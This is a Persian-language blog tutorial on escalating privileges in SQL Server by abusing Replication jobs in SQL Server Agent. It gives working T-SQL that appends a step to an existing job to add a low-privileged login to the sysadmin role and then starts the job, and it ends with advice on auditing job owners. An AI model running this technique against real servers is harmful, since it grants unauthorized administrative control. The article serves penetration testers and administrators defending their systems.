ارتقای سطح دسترسی SQL Server از طریق Replication Jobs

نفوذ به قلب SQL Server: آموزش ارتقای سطح دسترسی از طریق Replication Jobs

در دنیای امنیت پایگاه داده، ارتقای سطح دسترسی یا همان Privilege Escalation یکی از تکنیک‌های حیاتی برای متخصصان تست نفوذ و مدیران سیستم است. یکی از مسیرهای هوشمندانه برای رسیدن به بالاترین سطح دسترسی در SQL Server، بهره‌برداری از Replication Jobs است. زمانی که یک سرویس Replication پیکربندی می‌شود، SQL Server چندین جاب (Job) در SQL Server Agent ایجاد می‌کند که اغلب با امتیازات سطح بالایی اجرا می‌شوند. اگر یک کاربر با دسترسی محدود بتواند این جاب‌ها را کنترل کند، عملاً می‌تواند کنترل کل سرور را به دست بگیرد.

ابتدا باید وضعیت فعلی دسترسی خود را بررسی کنید. برای این کار از تابع سیستمی زیر استفاده می‌کنیم تا مشخص شود آیا در حال حاضر دسترسی sysadmin داریم یا خیر:

(SELECT IS_SRVROLEMEMBER(‘sysadmin’))

اگر خروجی این دستور 0 باشد، یعنی ما دسترسی مدیریت ارشد نداریم. مرحله بعدی، شناسایی جاب‌های مربوط به Replication در پایگاه داده msdb است. این جاب‌ها معمولاً در دسته‌بندی‌های خاصی قرار می‌گیرند. با اجرای دستور زیر در یک خط اختصاصی، لیست این جاب‌ها را استخراج می‌کنیم:

(SELECT name, job_id, category_id FROM msdb.dbo.sysjobs WHERE category_id BETWEEN 10 AND 15)

برای شروع عملیات، ما به دنبال جاب‌هایی هستیم که توسط کاربرانی با دسترسی بالا ایجاد شده‌اند اما توسط کاربران دیگر قابل تحریک هستند. نکته کلیدی در اینجا دستور sp_start_job است. اگر تنظیمات امنیتی به درستی پیکربندی نشده باشد، یک کاربر معمولی ممکن است اجازه اجرای جاب‌هایی را داشته باشد که تحت هویت (Identity) اکانت سرویس SQL Server Agent اجرا می‌شوند.

حالا برای اینکه بررسی کنیم دستورات تحت چه کاربری اجرا می‌شوند، از فرمول زیر استفاده می‌کنیم:

(SUSER_SNAME())

در سناریوی حمله، ما سعی می‌کنیم یک جاب موجود را تغییر دهیم یا یک Step جدید به آن اضافه کنیم که دستور مخرب ما را اجرا کند. برای تغییر یک Step در جاب و تزریق کد برای ارتقای دسترسی، از کد زیر استفاده می‌کنیم. دقت کنید که این کد باید به صورت دقیق و با رعایت سینتکس اجرا شود:

USE msdb;
EXEC sp_add_jobstep 
    @job_name = 'Replication Checkup', 
    @step_name = 'PrivEscStep', 
    @subsystem = 'TSQL', 
    @command = 'EXEC sp_addsrvrolemember ''LowPrivUser'', ''sysadmin'';', 
    @retry_attempts = 5, 
    @retry_interval = 5;
GO

پس از اضافه کردن مرحله جدید به جاب، باید آن را به صورت دستی اجرا کنیم تا دستور ما با اختیارات بالا اعمال شود. برای اجرای جاب از فرمول زیر در محیط SQL استفاده می‌شود:

(EXEC msdb.dbo.sp_start_job @job_name = ‘Replication Checkup’)

در این مرحله، جاب در پس‌زمینه با دسترسی اکانت سرویس اجرا شده و کاربر معمولی ما را به عضویت نقش sysadmin در می‌آورد. برای تایید موفقیت‌آمیز بودن عملیات، دوباره سطح دسترسی خود را با فرمول زیر چک می‌کنیم:

(SELECT IS_SRVROLEMEMBER(‘sysadmin’))

اگر این بار خروجی عدد 1 را نشان داد، یعنی ارتقای سطح دسترسی با موفقیت انجام شده است. این آسیب‌پذیری معمولاً زمانی رخ می‌دهد که جاب‌های Replication به گونه‌ای تنظیم شده باشند که مالک (Owner) آن‌ها یک اکانت sysadmin باشد و کاربران غیرمجاز اجازه اجرای sp_start_job را داشته باشند.

برای جلوگیری از این نوع حملات در محیط‌های عملیاتی، پیشنهاد می‌شود که همیشه از اصل “کمترین دسترسی” (Least Privilege) پیروی کنید و دسترسی به جداول سیستم در msdb و پروسیجرهای اجرای جاب را به شدت محدود نمایید. کد زیر برای بررسی لیست تمامی جاب‌ها و صاحبان آن‌ها جهت بازرسی امنیتی استفاده می‌شود:

SELECT 
    j.name AS JobName, 
    l.name AS JobOwner, 
    j.enabled AS IsEnabled 
FROM msdb.dbo.sysjobs j 
JOIN sys.server_principals l ON j.owner_sid = l.sid;

با مانیتورینگ دقیق این جاب‌ها و محدود کردن دسترسی به پروسیجر زیر، می‌توانید امنیت سرور خود را تضمین کنید:

(msdb.dbo.sp_start_job)

در نهایت، همیشه به یاد داشته باشید که به‌روزرسانی‌های امنیتی SQL Server را نصب کنید، زیرا مایکروسافت به طور مداوم مکانیزم‌های impersonation و دسترسی‌های مربوط به Agent را برای جلوگیری از این مدل Privilege Escalation ها بهبود می‌بخشد.

 

 

من علی دستجردی‌ام؛ عاشق کار با دیتا، از SQL Server تا بیگ‌دیتا و هوش مصنوعی. دغدغه‌ام کشف ارزش داده‌ها و به‌اشتراک‌گذاری تجربه‌هاست. ✦ رزومه من: alidastjerdi.com ✦

عضویت
منو باخبر کن!!!
guest
نام
ایمیل

0 دیدگاه
Inline Feedbacks
دیدن تمامی کامنتها

فوتر سایت

ورود به سایت

sqlyar

هنوز عضو نیستید؟

ورود به سایت

هنوز تبت نام نکردید ؟